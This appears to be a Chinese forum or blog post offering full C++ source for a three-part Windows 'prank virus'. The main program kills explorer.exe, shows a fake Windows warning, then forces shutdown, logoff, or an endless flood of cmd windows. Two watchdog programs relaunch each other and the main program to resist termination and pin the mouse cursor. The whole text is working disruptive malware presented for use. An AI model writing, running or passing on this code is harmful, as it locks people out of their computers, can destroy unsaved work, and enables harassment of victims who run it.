C++的小病毒,分为3个部分:命名为“整人代码”、“整人代码-防护”、“整人代码-防护2”
整人代码:
#include<bits/stdc++.h>
#include<windows.h>
#include <tlhelp32.h>
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
void po() {
if(getProcess("整人代码-防护.exe") == 0) {
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-防护2.exe") == 0) {
system("start 整人代码-防护2.exe");
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
}
using namespace std;
int main(void) {
po();
system("taskkill /f /t /im explorer.exe");
string in;
po();
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
int a;
a = MessageBox(NULL, "你的电脑可能被病毒侵占,是否安全访问病毒?", "Windows Warning", MB_YESNO | MB_ICONERROR);
if(a == IDYES){
string x;
cout<<"不会吧,这东西你也信?不想要你的电脑了?(输入“我是超级无敌的大傻子”可以恢复)"<<endl;
cin>>x;
if(x == "我是超级无敌的大傻子"){
cout<<"真乖,不过的确如此"<<endl;
Sleep(1000);
string haha;
cout<<"5秒后关机(输入“都可能附近的你曾经对方举?>})W#$%办活动场地好吧到九十年****%%¥%……¥%……&代你是觉得那我”可以免除关机)";
system("shutdown -s -t 5");
cin>>haha;
if(haha == "都可能附近的你曾经对方举?>})W#$%办活动场地好吧到九十年****%%¥%……¥%……&代你是觉得那我"){
system("shutdown -a");
cout<<"虽然我说帮你解除关机,但我要把你的电脑注销"<<endl;
ExitWindowsEx(EWX_LOGOFF, 0);
}
} else {
while(1){
system("start cmd");
}
}
} else {
system("taskkill /f /t /im explorer.exe");
cout<<"很勇啊你,即将注销你的电脑"<<endl;
ExitWindowsEx(EWX_LOGOFF, 0);
while(1){
system("start cmd");
}
}
}
整人代码-防护:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main() {
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1) {
if(getProcess("整人代码.exe") == 0) {
system("start 整人代码.exe");
}
if(getProcess("整人代码-防护2.exe") == 0) {
system("start 整人代码-防护2.exe");
}
if(getProcess("整人代码-kill.exe") == 1) {
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}
整人代码-防护2:
#include<bits/stdc++.h>
#include <windows.h>
#include <tlhelp32.h>
using namespace std;
bool getProcess(const char *procressName) { //此函数进程名不区分大小写
char pName[MAX_PATH]; //和PROCESSENTRY32结构体中的szExeFile字符数组保持一致,便于比较
strcpy(pName,procressName); //拷贝数组
CharLowerBuff(pName,MAX_PATH); //将名称转换为小写
PROCESSENTRY32 currentProcess; //存放快照进程信息的一个结构体
currentProcess.dwSize = sizeof(currentProcess); //在使用这个结构之前,先设置它的大小
HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//给系统内的所有进程拍一个快照
if (hProcess == INVALID_HANDLE_VALUE) {
return false;
}
bool bMore=Process32First(hProcess,¤tProcess); //获取第一个进程信息
while(bMore) {
CharLowerBuff(currentProcess.szExeFile,MAX_PATH); //将进程名转换为小写
if (strcmp(currentProcess.szExeFile,pName)==0) { //比较是否存在此进程
CloseHandle(hProcess); //清除hProcess句柄
return true;
}
bMore=Process32Next(hProcess,¤tProcess); //遍历下一个
}
CloseHandle(hProcess); //清除hProcess句柄
return false;
}
int main() {
ShowWindow(GetConsoleWindow(), SW_MINIMIZE);
while(1) {
if(getProcess("整人代码-防护.exe") == 0) {
system("start 整人代码-防护.exe");
}
if(getProcess("整人代码-kill.exe") == 1) {
break;
}
HWND hWnd = ::GetForegroundWindow();
::SetWindowPos(hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
SetCursorPos(0,0);
}
return 0;
}